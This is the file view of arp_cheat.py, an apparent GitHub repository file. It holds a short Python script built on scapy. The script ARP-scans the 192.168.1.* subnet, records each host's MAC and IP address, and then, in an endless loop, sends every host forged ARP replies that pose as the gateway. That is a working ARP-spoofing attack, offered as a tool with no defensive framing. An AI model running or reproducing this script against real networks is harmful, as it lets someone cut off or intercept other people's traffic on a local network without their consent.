-
Notifications
You must be signed in to change notification settings - Fork 1
/
arp_cheat.py
54 lines (35 loc) · 873 Bytes
/
arp_cheat.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# -*-coding:utf-8 -*-
import time
import sys
import re
from scapy.all import ARP, send, arping
stdout = sys.stdout
IPADDR = "192.168.1.*"
GATEWAY_IP = "192.168.1.1"
GATEWAY_MAC = "00:12:33:34:45:99"
SPEED = 2
def arp_hack(mac, ip):
p = ARP(op=2, hwsrc=GATEWAY_MAC, psrc=GATEWAY_IP)
p.hwdst = mac
p.pdst = ip
send(p)
def get_host():
mac_ip = {}
sys.stdout = open('host.info', 'w')
arping(IPADDR)
sys.stdout = stdout
f = open('host.info', 'r')
info = f.readlines()
f.close()
for host in info:
tmp = re.split(r'\s+', host)
if len(tmp) != 4:
continue
mac_ip[tmp[1]] = tmp[2]
return mac_ip
if __name__ == "__main__":
mac_ip = get_host()
while True:
for k_mac, v_ip in mac_ip.items():
arp_hack(mac=k_mac, ip=v_ip)
time.sleep(SPEED)